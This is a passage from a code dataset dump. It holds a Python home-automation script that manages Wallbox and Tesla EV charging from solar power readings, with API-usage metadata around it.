"matplotlib.pyplot.loglog", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 79, "usage_type": "call"}, {"api_name": "scipy.linalg.lstsq", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.linalg", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "numpy.exp", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.loglog", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "mpl_toolkits.mplot3d.axes3d.Axes3D", "line_number": 132, "usage_type": "call"}, {"api_name": "mpl_toolkits.mplot3d.axes3d", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 134, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.quiver", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 143, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 175, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 175, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}]} {"seq_id": "40865599723", "text": "import os\nimport socket\nimport sys\nfrom abc import abstractmethod\nfrom datetime import date, datetime, timedelta\nfrom enum import IntEnum\nfrom select import select\nfrom time import sleep\n\nimport geopy.distance\nimport Pyro5\nimport requests\nimport teslapy\nfrom cachetools import TTLCache\nfrom geopy.geocoders import Nominatim\nfrom teslapy import Tesla\nfrom wallbox import Wallbox\n\nfrom model3_car_sensor import load_cache, save_cache\nfrom power_sensor import RecordScale\nfrom scheduler import Priority, SchedulerProxy, Task\nfrom sensor import Sensor, SensorReader\nfrom tools import (NameServer, Settings, debug, init, log_exception,\n my_excepthook)\nfrom watchdog import WatchdogProxy\n\nDEFAULT_SETTINGS = {'power_sensor_key': 'EV',\n 'cycle_length': 15,\n 'home_distance_threshold_feet': 500,\n 'commute_car': 'Chevy Bolt EV'}\n\nMODULE_NAME = 'car_charger'\n\nclass SensorReaderCache(Sensor):\n '''Act as a data cache for a sensor.'''\n def __init__(self, name):\n self.sensor = SensorReader(name)\n self.update()\n\n def update(self):\n '''Update the cache.'''\n self.cache = self.sensor.read()\n\n def read(self, **kwargs: dict) -> dict:\n return self.cache\n\n def units(self, **kwargs: dict) -> dict:\n raise RuntimeError('Should not be called')\n\nclass CarCharger:\n '''Represent a car charger.'''\n def __init__(self, name):\n self.name = name\n\n @abstractmethod\n def start(self):\n '''Start charging.'''\n\n @abstractmethod\n def stop(self):\n '''Stop charging.'''\n\n @abstractmethod\n def is_charging(self):\n '''Charging status'''\n\n @abstractmethod\n def is_plugged_in(self):\n '''True if the charger is plugged in to the car.'''\n\n @abstractmethod\n def can_charge(self):\n '''True if the car can accept a charge.'''\n\n @property\n @abstractmethod\n def min_charging_current(self):\n '''Maximal current supported by the charger in Ampere.'''\n\n @property\n @abstractmethod\n def max_charging_current(self):\n '''Maximal current supported by the charger in Ampere.'''\n\n @property\n @abstractmethod\n def charging_current(self):\n '''Current charging current in Ampere.'''\n\n @property\n @abstractmethod\n def state_of_charge(self):\n '''Current state of charge.'''\n\n @property\n @abstractmethod\n def max_state_of_charge(self):\n '''Maximum State of charge.'''\n\n @property\n @abstractmethod\n def low_priority_threshold(self):\n '''Define the LOW priority state of charge threshold.\n\n Returns None to use the default.'''\n\n @property\n def priority(self):\n '''Priority of this car charger.'''\n # Set the low threshold so that the highest the requested maximum\n # charge of state the highest the threshold.\n low = self.low_priority_threshold\n if not low:\n low = self.max_state_of_charge - (100 - self.max_state_of_charge) / 2\n thresholds = {Priority.URGENT: 33,\n Priority.HIGH: 55,\n Priority.MEDIUM: low,\n Priority.LOW: 101}\n if not self.is_plugged_in() or not self.can_charge():\n return Priority.LOW\n for priority in reversed(Priority):\n if self.state_of_charge < thresholds[priority]:\n return priority\n return Priority.LOW\n\nclass WallboxCarCharger(CarCharger):\n '''CarCharger implementation for Wallbox Pulse 2 EV charger.'''\n class Status(IntEnum):\n '''Wallbox charger states.'''\n FULLY_CHARGED = 181\n UNPLUGGED = 161\n WAITING_FOR_NEXT_SCHEDULE = 179\n PAUSED = 182\n CHARGING = 194\n\n def __init__(self, name, wallbox, charger_id, sensor, max_state_of_charge):\n CarCharger.__init__(self, name)\n self.wallbox = wallbox\n self.charger_id = charger_id\n self.sensor = sensor\n self._max_state_of_charge = max_state_of_charge\n self.cache = TTLCache(1, timedelta(seconds=15), datetime.now)\n\n def __call(self, name, *args):\n for _ in range(3):\n try:\n method = getattr(self.wallbox, name)\n return method(self.charger_id, *args)\n except requests.exceptions.HTTPError:\n log_exception(f'{name}{args} failed', *sys.exc_info())\n self.wallbox.authenticate()\n except (requests.exceptions.RequestException,\n socket.gaierror, OSError):\n log_exception(f'{name}{args} failed', *sys.exc_info())\n sleep(0.5)\n raise RuntimeError(f'{name}{args} failed too many times')\n\n @property\n def status(self):\n '''JSON representation of the charger status.'''\n try:\n return self.cache['status']\n except KeyError:\n status = self.__call('getChargerStatus')\n self.cache['status'] = status\n return self.cache['status']\n\n def start(self):\n self.__call('resumeChargingSession')\n self.cache.clear()\n\n def stop(self):\n self.__call('pauseChargingSession')\n self.charging_current = self.min_charging_current\n self.cache.clear()\n\n @property\n def status_id(self):\n '''Identifier describing the charger status.'''\n return self.status['status_id']\n\n def is_charging(self):\n return self.status_id == self.Status.CHARGING\n\n def is_plugged_in(self):\n return self.status_id not in [self.Status.UNPLUGGED,\n self.Status.FULLY_CHARGED]\n\n def can_charge(self):\n return self.state_of_charge < self.max_state_of_charge\n\n @property\n def min_charging_current(self):\n return 6\n\n @property\n def max_charging_current(self):\n return self.status['config_data']['max_available_current']\n\n @property\n def charging_current(self):\n return self.status['config_data']['max_charging_current']\n\n @charging_current.setter\n def charging_current(self, current):\n self.__call('setMaxChargingCurrent', current)\n\n @property\n def state_of_charge(self):\n return self.sensor.read()['state of charge']\n\n @property\n def max_state_of_charge(self):\n '''Maximum State of charge.'''\n return self._max_state_of_charge\n\n @property\n def low_priority_threshold(self):\n if date.today().weekday() == 0 or date.today().weekday() == 6:\n return self._max_state_of_charge\n return None\n\nclass TeslaCarCharger(CarCharger):\n '''CarCharger implementation for Tesla.'''\n def __init__(self, name, vehicle, home, settings):\n CarCharger.__init__(self, name)\n self.vehicle = vehicle\n self.home = home\n self.settings = settings\n self.cache = TTLCache(1, timedelta(seconds=15), datetime.now)\n # On initialization, wake-up the car to get the car location\n if not 'drive_state' in self.status:\n self.vehicle.sync_wake_up()\n # By default, consider the car not home to prevent any unexpected\n # misbehavior.\n self.was_home = False\n self.was_home = self.is_home()\n\n @property\n def status(self):\n '''JSON representation of the charger status.'''\n try:\n return self.cache['status']\n except KeyError:\n try:\n vehicle_data = self.vehicle.get_vehicle_data()\n except requests.exceptions.RequestException as err:\n raise RuntimeError('Failed to get vehicle data') from err\n status = vehicle_data['charge_state']\n if 'drive_state' in vehicle_data:\n status.update(vehicle_data['drive_state'])\n else:\n debug('Missing \"drive_state\"')\n self.cache['status'] = status\n return self.cache['status']\n\n def _command(self, command, **kwargs):\n for _ in range(2):\n try:\n self.vehicle.command(command, **kwargs)\n except requests.exceptions.HTTPError as err:\n if err.response.status_code == 408:\n debug('Vehicle offline, try to wake up')\n self.vehicle.sync_wake_up()\n except (requests.exceptions.ReadTimeout, teslapy.VehicleError):\n log_exception(f'{command} failed', *sys.exc_info())\n\n def start(self):\n self._command('START_CHARGE')\n\n def stop(self):\n self.charging_current = self.min_charging_current\n self._command('STOP_CHARGE')\n\n def is_home(self):\n '''True if the car is located at home.'''\n if 'latitude' in self.status \\\n and 'longitude' in self.status:\n distance = geopy.distance.geodesic(self.home,\n (self.status['latitude'],\n self.status['longitude']))\n self.was_home = distance.feet < \\\n self.settings.home_distance_threshold_feet\n return self.was_home\n\n def is_charging(self):\n return self.is_home() and self.status['charging_state'] == 'Charging'\n\n def is_plugged_in(self):\n charging_states = ['NoPower', 'Charging', 'Complete', 'Stopped']\n return self.is_home() \\\n and self.status['charging_state'] in charging_states\n\n def can_charge(self):\n return self.is_home() \\\n and self.status['charging_state'] != 'Complete' \\\n and self.status['battery_level'] < self.max_state_of_charge\n\n @property\n def min_charging_current(self):\n return 2\n\n @property\n def max_charging_current(self):\n return self.status['charge_current_request_max']\n\n @property\n def charging_current(self):\n return self.status['charge_amps']\n\n @charging_current.setter\n def charging_current(self, current):\n if self.charging_current == current:\n return\n self._command('CHARGING_AMPS', charging_amps=current)\n # According to https://github.com/tdorssers/TeslaPy, it can be set to\n # lower than 5 by calling the interface twice\n if current < 5:\n self._command('CHARGING_AMPS', charging_amps=current)\n\n @property\n def state_of_charge(self):\n return self.status['battery_level']\n\n @property\n def max_state_of_charge(self):\n return self.status['charge_limit_soc']\n\n @property\n def low_priority_threshold(self):\n return None\n\nclass CarChargerTask(Task):\n '''Task handling car charging.'''\n def __init__(self, charger, settings: Settings):\n Task.__init__(self, keys=[settings.power_sensor_key], auto_adjust=True)\n self.charger = charger\n self.settings = settings\n\n @Pyro5.api.expose\n @Pyro5.api.oneway\n def start(self):\n debug('Starting')\n self.charger.start()\n\n @Pyro5.api.expose\n @Pyro5.api.oneway\n def stop(self):\n debug('Stopping')\n self.charger.stop()\n\n @Pyro5.api.expose\n def is_running(self) -> bool:\n return self.charger.is_charging()\n\n @Pyro5.api.expose\n def is_stoppable(self):\n return True\n\n @Pyro5.api.expose\n def is_runnable(self):\n '''True if calling the 'start' function would initiate charging.'''\n return self.charger.is_plugged_in() and self.charger.can_charge()\n\n @Pyro5.api.expose\n def meet_running_criteria(self, ratio, power=0) -> bool:\n debug(f'meet_running_criteria({ratio:.3f}, {power:.3f})')\n if not self.is_runnable():\n return False\n if self.is_running():\n return ratio >= 0.9\n return ratio >= 1\n\n @property\n @Pyro5.api.expose\n def desc(self):\n description = f'CarCharger ({self.priority.name}'\n description += f', {self.charger.name}'\n if self.charger.state_of_charge is not None:\n description += f', {self.charger.state_of_charge:.1f}%'\n return description + ')'\n\n @property\n @Pyro5.api.expose\n def power(self):\n return self.charger.min_charging_current * .237\n\n @property\n @Pyro5.api.expose\n def priority(self):\n return self.charger.priority\n\n def current_rate_for(self, power):\n '''Return the appropriate current in Ampere for POWER in KWh.'''\n rate = max(int(power / .237), self.charger.min_charging_current)\n return min(rate, self.charger.max_charging_current)\n\n def adjust_charge_rate(self, record):\n '''Adjust the charging rate according to the instant POWER record.'''\n available = -(record['net'] - self.usage(record))\n current = self.current_rate_for(available)\n if self.charger.charging_current != current:\n debug(f'Adjusting to {current}A ({available:.2f} KWh)')\n self.charger.charging_current = current\n\ndef main():\n '''Register and run the car charger task.'''\n # pylint: disable=too-many-locals\n sys.excepthook = my_excepthook\n base = os.path.splitext(__file__)[0]\n config = init(base + '.log')\n settings = Settings(base + '.ini', DEFAULT_SETTINGS)\n\n locator = Nominatim(user_agent=config['general']['application'])\n point = locator.geocode(config['general']['address'])\n\n chargers = []\n\n # Bolt EV uses the Wallbox Pulsar II charger\n wallbox = Wallbox(config['Wallbox']['login'],\n config['Wallbox']['password'], requestGetTimeout=5)\n wallbox.authenticate()\n device_id = int(config['Wallbox']['device_id'])\n if device_id not in wallbox.getChargersList():\n raise RuntimeError(f'{device_id} charger ID does not exist')\n car_sensor = SensorReaderCache('car')\n chargers.append(WallboxCarCharger('Chevy Bolt EV', wallbox, device_id,\n car_sensor, 79.6))\n\n # Tesla Model3 uses the Gen2 Tesla Charger\n tesla = Tesla(config['Tesla']['login'],\n cache_loader=load_cache, cache_dumper=save_cache)\n vehicle = next(v for v in tesla.vehicle_list() \\\n if v['vin'] == config['Tesla']['vin'])\n chargers.append(TeslaCarCharger('Tesla Model 3', vehicle,\n (point.latitude, point.longitude),\n settings))\n\n\n Pyro5.config.COMMTIMEOUT = 5\n daemon = Pyro5.api.Daemon()\n nameserver = NameServer()\n\n tasks = {}\n for charger in chargers:\n task = CarChargerTask(charger, settings)\n uri = daemon.register(task)\n tasks[task] = uri\n\n for i, (task, uri) in enumerate(tasks.items()):\n nameserver.register_task(MODULE_NAME + '_' + str(i), uri)\n\n power_sensor = SensorReader('power')\n power_simulator = SensorReader('power_simulator')\n scheduler = SchedulerProxy()\n watchdog = WatchdogProxy()\n debug(\"... is now ready to run\")\n while True:\n settings.load()\n\n watchdog.register(os.getpid(), MODULE_NAME)\n watchdog.kick(os.getpid())\n\n try:\n car_sensor.update()\n except RuntimeError:\n log_exception('Failed to update car data', *sys.exc_info())\n\n try:\n for i, (task, uri) in enumerate(tasks.items()):\n nameserver.register_task(MODULE_NAME + '_' + str(i), uri)\n except RuntimeError:\n log_exception('Failed to register a task', *sys.exc_info())\n\n # Self-testing: on basic operation failure unregister from the\n # scheduler.\n for i, (task, uri) in enumerate(tasks.items()):\n try:\n task.charger.is_charging() # pylint: disable=pointless-statement\n scheduler.register_task(uri)\n except RuntimeError:\n debug('Self-test failed on %d, unregister from the scheduler' %\n i)\n scheduler.unregister_task(uri)\n\n next_cycle = datetime.now() + timedelta(\n # pylint: disable=maybe-no-member\n seconds=settings.cycle_length)\n while True:\n timeout = next_cycle - datetime.now()\n sockets, _, _ = select(daemon.sockets, [], [],\n timeout.seconds\n + timeout.microseconds / 1000000)\n if sockets:\n daemon.events(sockets)\n if datetime.now() >= next_cycle:\n break\n\n try:\n task = next(task for task in tasks if task.is_running())\n except (RuntimeError, StopIteration):\n continue\n\n record = power_sensor.read(scale=RecordScale.SECOND)\n if not record:\n debug('No new power record, use the simulator')\n record = power_simulator.read(scale=RecordScale.SECOND)\n if not record:\n debug('Failed to get a record from the simulator')\n if record:\n try:\n task.adjust_charge_rate(record)\n except RuntimeError:\n log_exception('adjust_charge_rate() failed', *sys.exc_info())\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "jeremy-compostella/home-manager", "sub_path": "src/car_charger.py", "file_name": "car_charger.py", "file_ext": "py", "file_size_in_byte": 17101, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sensor.Sensor", "line_number": 34, "usage_type": "name"}, {"api_name": "sensor.SensorReader", "line_number": 37, "usage_type": "call"}, {"api_name": "abc.abstractmethod", "line_number": 55, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 59, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 63, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 67, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 71, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 76, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 81, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 86, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 91, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 96, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 101, "usage_type": "name"}, {"api_name": "scheduler.Priority.URGENT", "line_number": 115, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 115, "usage_type": "name"}, {"api_name": "scheduler.Priority.HIGH", "line_number": 116, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 116, "usage_type": "name"}, {"api_name": "scheduler.Priority.MEDIUM", "line_number": 117, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 117, "usage_type": "name"}, {"api_name": "scheduler.Priority.LOW", "line_number": 118, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 118, "usage_type": "name"}, {"api_name": "scheduler.Priority.LOW", "line_number": 120, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 120, "usage_type": "name"}, {"api_name": "scheduler.Priority", "line_number": 121, "usage_type": "argument"}, {"api_name": "scheduler.Priority.LOW", "line_number": 124, "usage_type": "attribute"}, {"api_name": "scheduler.Priority", "line_number": 124, "usage_type": "name"}, {"api_name": "enum.IntEnum", "line_number": 128, "usage_type": "name"}, {"api_name": "cachetools.TTLCache", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 142, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 142, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 149, "usage_type": "attribute"}, {"api_name": "tools.log_exception", "line_number": 150, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 150, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 152, "usage_type": "attribute"}, {"api_name": "socket.gaierror", "line_number": 153, "usage_type": "attribute"}, {"api_name": "tools.log_exception", "line_number": 154, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 154, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 155, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 219, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 219, "usage_type": "name"}, {"api_name": "cachetools.TTLCache", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 230, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 230, "usage_type": "name"}, {"api_name": "requests.exceptions", "line_number": 247, "usage_type": "attribute"}, {"api_name": "tools.debug", "line_number": 253, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 261, "usage_type": "attribute"}, {"api_name": "tools.debug", "line_number": 263, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 265, "usage_type": "attribute"}, {"api_name": "teslapy.VehicleError", "line_number": 265, "usage_type": "attribute"}, {"api_name": "tools.log_exception", "line_number": 266, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 266, "usage_type": "call"}, {"api_name": "geopy.distance.distance.geodesic", "line_number": 279, "usage_type": "call"}, {"api_name": "geopy.distance.distance", "line_number": 279, "usage_type": "attribute"}, {"api_name": "geopy.distance", "line_number": 279, "usage_type": "name"}, {"api_name": "scheduler.Task", "line_number": 333, "usage_type": "name"}, {"api_name": "tools.Settings", "line_number": 335, "usage_type": "name"}, {"api_name": "scheduler.Task.__init__", "line_number": 336, "usage_type": "call"}, {"api_name": "scheduler.Task", "line_number": 336, "usage_type": "name"}, {"api_name": "tools.debug", "line_number": 343, "usage_type": "call"}, {"api_name": "Pyro5.api", "line_number": 340, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 341, "usage_type": "attribute"}, {"api_name": "tools.debug", "line_number": 349, "usage_type": "call"}, {"api_name": "Pyro5.api", "line_number": 346, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 347, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 352, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 356, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 360, "usage_type": "attribute"}, {"api_name": "tools.debug", "line_number": 367, "usage_type": "call"}, {"api_name": "Pyro5.api", "line_number": 365, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 375, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 384, "usage_type": "attribute"}, {"api_name": "Pyro5.api", "line_number": 389, "usage_type": "attribute"}, {"api_name": "tools.debug", "line_number": 403, "usage_type": "call"}, {"api_name": "sys.excepthook", "line_number": 409, "usage_type": "attribute"}, {"api_name": "tools.my_excepthook", "line_number": 409, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 410, "usage_type": "call"}, {"api_name": "os.path", "line_number": 410, "usage_type": "attribute"}, {"api_name": "tools.init", "line_number": 411, "usage_type": "call"}, {"api_name": "tools.Settings", "line_number": 412, "usage_type": "call"}, {"api_name": "geopy.geocoders.Nominatim", "line_number": 414, "usage_type": "call"}, {"api_name": "wallbox.Wallbox", "line_number": 420, "usage_type": "call"}, {"api_name": "wallbox.authenticate", "line_number": 422, "usage_type": "call"}, {"api_name": "wallbox.getChargersList", "line_number": 424, "usage_type": "call"}, {"api_name": "teslapy.Tesla", "line_number": 431, "usage_type": "call"}, {"api_name": "model3_car_sensor.load_cache", "line_number": 432, "usage_type": "name"}, {"api_name": "model3_car_sensor.save_cache", "line_number": 432, "usage_type": "name"}, {"api_name": "Pyro5.config", "line_number": 440, "usage_type": "attribute"}, {"api_name": "Pyro5.api.Daemon", "line_number": 441, "usage_type": "call"}, {"api_name": "Pyro5.api", "line_number": 441, "usage_type": "attribute"}, {"api_name": "tools.NameServer", "line_number": 442, "usage_type": "call"}, {"api_name": "sensor.SensorReader", "line_number": 453, "usage_type": "call"}, {"api_name": "sensor.SensorReader", "line_number": 454, "usage_type": "call"}, {"api_name": "scheduler.SchedulerProxy", "line_number": 455, "usage_type": "call"}, {"api_name": "watchdog.WatchdogProxy", "line_number": 456, "usage_type": "call"}, {"api_name": "tools.debug", "line_number": 457, "usage_type": "call"}, {"api_name": "watchdog.register", "line_number": 461, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 461, "usage_type": "call"}, {"api_name": "watchdog.kick", "line_number": 462, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 462, "usage_type": "call"}, {"api_name": "tools.log_exception", "line_number": 467, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 467, "usage_type": "call"}, {"api_name": "tools.log_exception", "line_number": 473, "usage_type": "call"}, {"api_name": "sys.exc_info", "line_number": 473, "usage_type": "call"}, {"api_name": "scheduler.register_task", "line_number": 480, "usage_type": "call"}, {"api_name": "tools.debug", "line_number": 482, "usage_type": "call"}, {"api_name": "scheduler.unregister_task", "line_number": 484, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 486, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 486, "usage_type": 